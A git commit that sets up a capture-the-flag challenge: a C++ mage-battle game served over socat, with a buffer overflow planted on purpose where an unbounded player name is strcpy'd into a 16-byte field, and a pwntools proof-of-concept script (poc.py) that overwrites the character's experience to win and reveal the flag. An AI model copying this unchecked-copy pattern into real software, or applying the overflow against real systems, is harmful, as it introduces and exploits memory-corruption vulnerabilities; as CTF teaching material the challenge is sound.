From bfc68ce717a215ea29d4dabab7beaa75db088bbc Mon Sep 17 00:00:00 2001 From: myitinos Date: Sun, 15 Sep 2019 22:28:52 +0800 Subject: [PATCH] initinial commit copied from spell-warz-again --- Dockerfile | 13 +++ LICENSE | 21 ++++ Makefile | 19 ++++ flag.txt | 1 + lib/BattleInterface.cpp | 108 +++++++++++++++++++ lib/BattleInterface.hpp | 35 +++++++ lib/Character.cpp | 216 ++++++++++++++++++++++++++++++++++++++ lib/Character.hpp | 59 +++++++++++ lib/Spell.cpp | 42 ++++++++ lib/Spell.hpp | 28 +++++ lib/UserInterface.cpp | 226 ++++++++++++++++++++++++++++++++++++++++ lib/UserInterface.hpp | 53 ++++++++++ main.cpp | 150 ++++++++++++++++++++++++++ poc.py | 18 ++++ spell-warz-again | Bin 0 -> 91224 bytes 15 files changed, 989 insertions(+) create mode 100644 Dockerfile create mode 100644 LICENSE create mode 100644 Makefile create mode 100644 flag.txt create mode 100644 lib/BattleInterface.cpp create mode 100644 lib/BattleInterface.hpp create mode 100644 lib/Character.cpp create mode 100644 lib/Character.hpp create mode 100644 lib/Spell.cpp create mode 100644 lib/Spell.hpp create mode 100644 lib/UserInterface.cpp create mode 100644 lib/UserInterface.hpp create mode 100644 main.cpp create mode 100644 poc.py create mode 100755 spell-warz-again diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..a8069ba --- /dev/null +++ b/Dockerfile @@ -0,0 +1,13 @@ +FROM ubuntu:latest + +RUN apt update && \ + apt install socat -y + +WORKDIR /app + +COPY ./flag.txt . +COPY ./spell-warz-again . + +CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\" + +EXPOSE 12345/tcp diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d449d3e --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice (including the next +paragraph) shall be included in all copies or substantial portions of the +Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS +OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF +OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..308fea3 --- /dev/null +++ b/Makefile @@ -0,0 +1,19 @@ +UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp + g++ -c lib/UserInterface.cpp -o UserInterface.o + +BattleInterface.o: lib/BattleInterface.cpp lib/BattleInterface.hpp + g++ -c lib/BattleInterface.cpp -o BattleInterface.o + +Spell.o: lib/Spell.cpp lib/Spell.hpp + g++ -c lib/Spell.cpp -o Spell.o + +Character.o: lib/Character.cpp lib/Character.hpp + g++ -c lib/Character.cpp -o Character.o + +spell-warz-again: Spell.o Character.o UserInterface.o BattleInterface.o main.cpp + g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o BattleInterface.o + +clean: all + rm Spell.o Character.o UserInterface.o BattleInterface.o + +all: spell-warz-again diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..f824bde --- /dev/null +++ b/flag.txt @@ -0,0 +1 @@ +slashroot{dummy} diff --git a/lib/BattleInterface.cpp b/lib/BattleInterface.cpp new file mode 100644 index 0000000..5ac8f5f --- /dev/null +++ b/lib/BattleInterface.cpp @@ -0,0 +1,108 @@ +#include "BattleInterface.hpp" + +const int BattleInterface::maxTurn = 100; + +BattleInterface::BattleInterface() +{ + this->turn = -1; + this->player1 = nullptr; + this->player2 = nullptr; + this->winner = nullptr; + this->loser = nullptr; +} + +BattleInterface::BattleInterface(Character *p1, Character *p2) +{ + this->turn = 1; + this->player1 = p1; + this->player2 = p2; + this->winner = nullptr; + this->loser = nullptr; +} + +void BattleInterface::battleStartAnnounce() +{ + std::cout << " === BATTLE START === \n" + << " " << player1->getName() << "\n" + << " vs \n" + << " " << player2->getName() << "\n" + << " === ============ === \n" + << std::flush; +} + +void BattleInterface::battleEndAnnouce() +{ + std::cout << " === BATTLE END === \n" + << "winner: " << this->winner->getName() << "\n" + << std::flush; +} + +Character *BattleInterface::getLoser() +{ + return this->loser; +} + +Character *BattleInterface::getWinner() +{ + return this->winner; +} + +void BattleInterface::start() +{ + int choiceInt; + char buff[64] = {0}; + + this->battleStartAnnounce(); + while ((player1->isAlive() && player2->isAlive()) && this->turn <= BattleInterface::maxTurn) + { + std::cout << "Turn " << this->turn << " of " << BattleInterface::maxTurn << "\n" + << "Your spell book:\n"; + for (size_t i = 0; i < Spell::Book.size() && i < (player1->getLevel()); i++) + { + std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; + } + std::cout << std::flush; + + choiceInt = UserInterface::getNumber( + "What are you gonna cast this turn?\n>", 0, + player1->getLevel() > Spell::Book.size() ? Spell::Book.size() : player1->getLevel()); + + if (player1->canCastSpell(&Spell::Book.at(choiceInt))) + { + player1->castSpell(&Spell::Book.at(choiceInt), player2); + snprintf(buff, 63, "%s cast %s...\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player2->getName(), Spell::Book.at(choiceInt).getAmount()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + } + + choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); + if (player2->canCastSpell(&Spell::Book.at(choiceInt))) + { + player2->castSpell(&Spell::Book.at(choiceInt), player1); + snprintf(buff, 63, "%s cast %s...\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player1->getName(), Spell::Book.at(choiceInt).getAmount()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + } + this->turn++; + } + + winner = (player1->isAlive() && (player1->getCurHP() >= player2->getCurHP())) ? player1 : player2; + loser = (winner == player1) ? player2 : player1; + this->battleEndAnnouce(); +} diff --git a/lib/BattleInterface.hpp b/lib/BattleInterface.hpp new file mode 100644 index 0000000..dd0034b --- /dev/null +++ b/lib/BattleInterface.hpp @@ -0,0 +1,35 @@ +#ifndef SPELL_WARZ_BATTLEINTERFACE_HPP +#define SPELL_WARZ_BATTLEINTERFACE_HPP 1 + +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" +#include "UserInterface.hpp" + +class BattleInterface +{ +protected: + static const int maxTurn; + int turn; + + Character *player1; + Character *player2; + Character *winner; + Character *loser; + + void battleStartAnnounce(); + void battleEndAnnouce(); + void clearBuff(); +public: + BattleInterface(); + BattleInterface(Character *p1, Character *p2); + + void start(); + Character *getWinner(); + Character *getLoser(); +}; + +#endif \ No newline at end of file diff --git a/lib/Character.cpp b/lib/Character.cpp new file mode 100644 index 0000000..09438ee --- /dev/null +++ b/lib/Character.cpp @@ -0,0 +1,216 @@ +#include "Character.hpp" +#include +const int Character::maxLevel = 0xffff; +const int Character::maxExperience = 0x0fffffff; +Character::Character() +{ + this->level = 1; + this->experience = 0; + this->maxHP = 10; + this->curHP = maxHP; + this->maxMP = 5; + this->curMP = maxMP; + this->atk = 1; + this->def = 1; + memset(this->name, 0, 16); +} + +Character::Character(char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} + +Character::Character(const char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} + +Character::Character(char *n, int l, int e, int h, int m, int a, int d) +{ + strcpy(this->name, n); + this->name[15] = 0; + this->level = l; + this->experience = e; + this->maxHP = h; + this->curHP = maxHP; + this->maxMP = m; + this->curMP = maxMP; + this->atk = a; + this->def = d; +} + +Character::Character(const char *n, int l, int e, int h, int m, int a, int d) +{ + strcpy(this->name, n); + this->name[15] = 0; + this->level = l; + this->experience = e; + this->maxHP = h; + this->curHP = maxHP; + this->maxMP = m; + this->curMP = maxMP; + this->atk = a; + this->def = d; +} + +char *Character::getName() +{ + return this->name; +} + +int Character::getLevel() +{ + if (this->level > Character::maxLevel) + { + exit(-1); + } + return this->level; +} + +int Character::getExperience() +{ + if (this->experience > Character::maxExperience) + { + exit(-1); + } + return this->experience; +} + +int Character::getMaxHP() +{ + return this->maxHP; +} + +int Character::getCurHP() +{ + if (this->curHP > this->maxHP) + { + exit(-1); + } + return this->curHP; +} + +int Character::getMaxMP() +{ + return this->maxMP; +} + +int Character::getCurMP() +{ + if (this->curMP > this->maxMP) + { + exit(-1); + } + return this->curMP; +} + +int Character::getAtk() +{ + return this->atk; +} + +int Character::getDef() +{ + return this->def; +} + +void Character::levelUp() +{ + if ((this->level <= maxLevel) && this->readytoLevelUp()) + { + this->experience -= this->toNextLevel(); + this->level++; + this->maxHP += 10; + this->maxMP += 5; + this->curHP = this->maxHP; + this->curMP = this->maxMP; + } +} + +void Character::restoreHP(int n) +{ + this->curHP += n; + if (this->curHP > this->maxHP) + { + this->curHP = this->maxHP; + } +} + +void Character::restoreMP(int n) +{ + this->curMP += n; + if (this->curMP > this->maxMP) + { + this->curMP = this->maxMP; + } +} + +void Character::reduceHP(int n) +{ + this->curHP -= n; +} + +void Character::reduceMP(int n) +{ + this->curMP -= n; +} + +bool Character::isAlive() +{ + return this->curHP > 0; +} + +int Character::toNextLevel() +{ + return (this->level + 1) * (this->level + 1); +} + +bool Character::readytoLevelUp() +{ + return (this->toNextLevel() <= this->experience); +} + +void Character::increaseExperience(int n) +{ + this->experience += n; + if (this->experience > maxExperience) + { + this->experience = maxExperience; + } + while (this->readytoLevelUp()) + { + this->levelUp(); + } +} + +bool Character::canCastSpell(Spell *s) +{ + return this->curMP >= s->getCost(); +} + +void Character::castSpell(Spell *s, Character *t) +{ + this->reduceMP(s->getCost()); + t->reduceHP(s->getAmount()); +} + +void Character::rest() +{ + this->curHP = this->maxHP; + this->curMP = this->maxMP; +} + +void Character::kill() +{ + this->curHP = 0; +} + +void Character::revive() +{ + if (this->curHP <= 0) + { + this->curHP = 1; + } +} \ No newline at end of file diff --git a/lib/Character.hpp b/lib/Character.hpp new file mode 100644 index 0000000..14d107c --- /dev/null +++ b/lib/Character.hpp @@ -0,0 +1,59 @@ +#ifndef SPELL_WARZ_CHARACTER_HPP +#define SPELL_WARZ_CHARACTER_HPP 1 + +#include + +#include "Spell.hpp" + +class Character +{ +protected: + static const int maxLevel; + static const int maxExperience; + char name[16]; + + int experience; + int level; + int atk; + int def; + int curHP; + int curMP; + int maxHP; + int maxMP; + + void restoreHP(int); + void restoreMP(int); + void reduceHP(int); + void reduceMP(int); + +public: + Character(); + Character(char *name); + Character(const char *name); + Character(char *name, int level, int exp, int hp, int mp, int atk, int def); + Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); + + void castSpell(Spell *src, Character *dst); + bool canCastSpell(Spell *src); + + char *getName(); + int getLevel(); + int getExperience(); + int getMaxHP(); + int getCurHP(); + int getMaxMP(); + int getCurMP(); + int getAtk(); + int getDef(); + int toNextLevel(); + + bool readytoLevelUp(); + bool isAlive(); + void levelUp(); + void kill(); + void rest(); + void revive(); + void increaseExperience(int n); +}; + +#endif \ No newline at end of file diff --git a/lib/Spell.cpp b/lib/Spell.cpp new file mode 100644 index 0000000..f5b8492 --- /dev/null +++ b/lib/Spell.cpp @@ -0,0 +1,42 @@ +#include "Spell.hpp" + +Spell::Spell(std::string n, int t, int a, int c) +{ + this->name = std::string(n); + this->type = t; + this->amount = a; + this->cost = c; +} + +int Spell::getType() +{ + return this->type; +} + +int Spell::getAmount() +{ + return this->amount; +} + +int Spell::getCost() +{ + return this->cost; +} + +std::string Spell::getName() +{ + return this->name; +} + +std::vector Spell::Book = { + Spell("Napalm Beat", 1, 4, 1), + Spell("Fire Ball", 1, 6, 2), + Spell("Cold Bolt", 1, 8, 3), + Spell("Stone curse", 1, 10, 4), + Spell("Lightning Bolt", 1, 12, 5), + Spell("Soul Strike", 1, 14, 6), + Spell("Fire Wall", 1, 16, 7), + Spell("Frost Diver", 1, 18, 8), + Spell("Lighting Storm", 1, 20, 9), + Spell("Asura's Strike", 1, 50, 10), +}; \ No newline at end of file diff --git a/lib/Spell.hpp b/lib/Spell.hpp new file mode 100644 index 0000000..618bbaa --- /dev/null +++ b/lib/Spell.hpp @@ -0,0 +1,28 @@ +#ifndef SPELL_WARZ_SPELL_CPP +#define SPELL_WARZ_SPELL_CPP 1 + +#include +#include + +class Spell +{ +protected: + std::string name; + + int type; + int amount; + int cost; + +public: + int TYPE_RESTORATION = 0; + int TYPE_DESTRUCTION = 1; + static std::vector Book; + + Spell(std::string, int, int, int); + int getType(); + int getAmount(); + int getCost(); + std::string getName(); +}; + +#endif \ No newline at end of file diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp new file mode 100644 index 0000000..885aba1 --- /dev/null +++ b/lib/UserInterface.cpp @@ -0,0 +1,226 @@ +#include "UserInterface.hpp" + +const int UserInterface::interval = 500; // in ms +const int UserInterface::miniInterval = 50; // in ms +const int UserInterface::maxDay = 28; +const int UserInterface::maxMonth = 12; +const int UserInterface::maxYear = 100; + +int UserInterface::day = 1; +int UserInterface::month = 1; +int UserInterface::year = 90; + +bool UserInterface::gameOver = false; + +std::vector UserInterface::dayName = { + "Morndas", + "Tirdas", + "Middas", + "Turdas", + "Fredas", + "Loredas", + "Sundas", +}; + +std::vector UserInterface::monthName = { + "Morning Star", + "Sun's Dawn", + "First Seed", + "Rain's Hand", + "Second Seed", + "Mid Year", + "Sun's Height", + "Last Seed", + "Hearthfire", + "Frostfall", + "Sun's Dusk", + "Evening Star", +}; + +void UserInterface::print(std::string msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); +} + +void UserInterface::print(char *msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); +} +void UserInterface::print(const char *msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); +} + +void UserInterface::printByChar(const char *msg) +{ + int len = strlen(msg); + for (size_t i = 0; i < len; i++) + { + std::cout << msg[i] << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval)); + } +} + +void UserInterface::welcomeMessage() +{ + std::cout << "+++++++++++++++++++++++++++++++++++\n" + << "+ Welcome to Spell-Warz-Again !!! +\n" + << "+++++++++++++++++++++++++++++++++++\n" + << std::flush; +} + +Character *UserInterface::characterCreation() +{ + char buffer[128] = {0}; + char choice = 0; + int i; + short b; + while (choice != 'y' && choice != 'Y') + { + std::cout << "Who should we call you?\n" + << ">" << std::flush; + + std::cin >> buffer; + + std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" + << ">"; + std::cin >> choice; + } + return new Character(buffer); +} + +void UserInterface::epilogue() +{ + UserInterface::printByChar( + "You are just a young mage in a mage school,\n" + "When you witnessed your arch-mage got defeated by your senior...\n" + "He was mumbling about some flag inside a scroll,\n" + "he also mentioned something about a competition called CTF...\n" + "You thought to yourself: \"What the f*ck is a CTF?\"\n" + "Nevertheless, you want that scroll, you want that flag!\n" + "Defeat the new arch-mage that was once your senior to get a glimpse of that scroll!\n" + "Note: You need to do this in 10 year of in-game, otherwise you would graduate first...\n"); +} + +std::string UserInterface::dateString() +{ + char date[5] = {0}; + + if (UserInterface::day < 21) + { + switch (UserInterface::day) + { + case 1: + sprintf(date, "1st"); + break; + case 2: + sprintf(date, "2nd"); + break; + case 3: + sprintf(date, "3rd"); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + else + { + switch (UserInterface::day % 10) + { + case 1: + sprintf(date, "%dst", UserInterface::day); + break; + case 2: + sprintf(date, "%dnd", UserInterface::day); + break; + case 3: + sprintf(date, "%drd", UserInterface::day); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + + return std::string( + UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + + date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + + ", Year " + std::to_string(UserInterface::year)); +} + +void UserInterface::menu() +{ + std::cout << "=======================================\n" + << UserInterface::dateString() << "\n" + << "=======================================\n" + << "Available action:\n" + << "[1] Take a rest\n" + << "[2] Practice magic\n" + << "[3] Spar against classmate\n" + << "[4] Challenge the new Arch-Mage\n" + << "[5] Gather info about the new Arch-Mage\n" + << "[6] Meditate to your inner-self\n" + << "[0] Commit sudoku\n" + << std::flush; +} + +void UserInterface::enemiesInfo(std::vector &enemies) +{ + for (int i = 0; i < enemies.size(); i++) + { + std::cout << "[" << i << "] " << enemies.at(i)->getName() << " (Lv." << enemies.at(i)->getLevel() << ")\n"; + } + std::cout << std::flush; +} + +int UserInterface::getNumber(std::string msg, int min, int max) +{ + int buffer = max + 1; + do + { + std::cout << msg << std::flush; + if (std::cin.failbit || std::cin.eofbit) + { + std::cin.clear(); + std::cin.ignore(1); + } + } while (std::cin >> buffer && !(buffer <= max && buffer >= min)); + return buffer; +} + +void UserInterface::nextDay() +{ + if (UserInterface::day++ >= UserInterface::maxDay) + { + day = 1; + if (UserInterface::month++ >= UserInterface::maxMonth) + { + month = 1; + if (UserInterface::year++ >= UserInterface::maxYear) + { + UserInterface::gameOver = true; + } + } + } +} + +bool UserInterface::isGameOver() +{ + return gameOver; +} + +void UserInterface::characterInfo(Character *c) +{ + std::cout << "++++++++++++++++++++++++" + << "\nName: " << c->getName() + << "\n HP: " << c->getCurHP() << "/" << c->getMaxHP() + << "\n MP: " << c->getCurMP() << "/" << c->getMaxMP() + << "\n Lv: " << c->getLevel() + << "\n Xp: " << c->getExperience() + << "\n next: " << c->toNextLevel() + << "\n++++++++++++++++++++++++" << std::endl; +} \ No newline at end of file diff --git a/lib/UserInterface.hpp b/lib/UserInterface.hpp new file mode 100644 index 0000000..3fb5e60 --- /dev/null +++ b/lib/UserInterface.hpp @@ -0,0 +1,53 @@ +#ifndef SPELL_WARZ_USER_INTERFACE_HPP +#define SPELL_WARZ_USER_INTERFACE_HPP 1 + +#include +#include +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" + +class UserInterface +{ +protected: + static const int interval; // in ms + static const int miniInterval; // in ms + static const int maxDay; + static const int maxMonth; + static const int maxYear; + + static std::vector dayName; + static std::vector monthName; + + static int day; + static int month; + static int year; + + static bool gameOver; + +public: + static void print(std::string); + static void print(const char *); + static void print(char *); + static void printByChar(std::string); + static void printByChar(const char *); + static void printByChar(char *); + + static void welcomeMessage(); + static void epilogue(); + static void menu(); + static void nextDay(); + static void characterInfo(Character *); + static void enemiesInfo(std::vector &); + + static std::string dateString(); + static int getNumber(std::string, int, int); + static Character *characterCreation(); + + static bool isGameOver(); +}; + +#endif \ No newline at end of file diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..87b8d6c --- /dev/null +++ b/main.cpp @@ -0,0 +1,150 @@ + +#include +#include +#include +#include +#include +#include +#include + +#include "lib/Character.hpp" +#include "lib/Spell.hpp" +#include "lib/UserInterface.hpp" +#include "lib/BattleInterface.hpp" + +std::string loadFlag() +{ + std::string flagString; + std::ifstream flagFile("flag.txt"); + flagFile >> flagString; + flagFile.close(); + return flagString; +} + +int main() +{ + std::string flag; + Character *player; + Character *archMage; + Character *enemy; + BattleInterface battle; + std::vector enemies; + + flag = loadFlag(); + srand(time(0)); + alarm(600); + + UserInterface::welcomeMessage(); + UserInterface::epilogue(); + player = UserInterface::characterCreation(); + archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); + enemies = { + new Character("Abby", 1, 1, 10, 5, 1, 1), + new Character("John", 2, 3, 20, 10, 1, 1), + new Character("Adam", 3, 7, 40, 25, 1, 1), + new Character("Christo", 4, 11, 80, 40, 1, 1), + new Character("Greg", 5, 16, 160, 80, 1, 1), + }; + + while (player->isAlive() && !UserInterface::isGameOver()) + { + int choiceInt = -1; + char choiceChar = -1; + UserInterface::menu(); + choiceInt = UserInterface::getNumber( + "What are you gonna do today?\n>", + 0, 6); + switch (choiceInt) + { + case 0: + UserInterface::print("You commit sudoku...\n"); + UserInterface::print("Was it supposed to be seppuku?\n"); + UserInterface::print("Nevermind, you killed yourself.\n"); + player->kill(); + break; + case 1: + UserInterface::print("You spend the whole day sleeping...\n"); + UserInterface::print("HP and MP restored.\n"); + player->rest(); + break; + case 2: + UserInterface::print("You practice your magic in the yard...\n"); + UserInterface::print("You gained some experience.\n"); + player->increaseExperience((random() % player->getLevel()) + 1); + break; + case 3: + UserInterface::print("List of your classmates:\n"); + UserInterface::enemiesInfo(enemies); + choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); + UserInterface::print("You are going to spar with:\n"); + UserInterface::characterInfo(enemies.at(choiceInt)); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + enemy = new Character(*enemies.at(choiceInt)); + battle = BattleInterface(player, enemy); + battle.start(); + if (battle.getWinner() == player) + { + UserInterface::print("You win, you get more experience...\n"); + player->increaseExperience(enemies.at(choiceInt)->getLevel()); + } + else + { + UserInterface::print("You lose, but you still get some experience...\n"); + player->revive(); + player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); + } + delete enemy; + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player->rest(); + } + + break; + case 4: + UserInterface::print("You are going to challenge the Arch-Mage...\n"); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + battle = BattleInterface(player, archMage); + battle.start(); + if (battle.getWinner() == player) + { + UserInterface::print("You win, you get more experience...\n"); + player->increaseExperience(enemies.at(choiceInt)->getLevel()); + UserInterface::print("You win against the Arch-Mage!\n"); + UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); + UserInterface::print("Turns out the content is just some meaningless word...\n"); + UserInterface::print("Here is the content:\n"); + UserInterface::print(flag + "\n"); + } + else + { + UserInterface::print("You lose...\n"); + UserInterface::print("Sadly his spell was to powerful,\n"); + UserInterface::print("You got killed by the arch-mage...\n"); + } + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player->rest(); + } + break; + case 5: + UserInterface::print("You found some info about the arch-mage:\n"); + UserInterface::characterInfo(archMage); + break; + case 6: + UserInterface::print("You meditate and got some insight to your ability:\n"); + UserInterface::characterInfo(player); + break; + } + UserInterface::nextDay(); + } +} diff --git a/poc.py b/poc.py new file mode 100644 index 0000000..de89014 --- /dev/null +++ b/poc.py @@ -0,0 +1,18 @@ +from pwn import * + +if __name__ == "__main__": + p = process("./main") + print p.recvuntil(">") + p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("2") + print p.recvuntil(">") + p.sendline("4") + print p.recvuntil(">") + p.sendline("y") + for i in xrange(99): + print p.recvuntil(">") + p.sendline("9") + p.interactive() diff --git a/spell-warz-again b/spell-warz-again new file mode 100755 index 0000000000000000000000000000000000000000..91c19e1f1d925c1a7237b75c39b35dbffa0319a3 GIT binary patch literal 91224 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 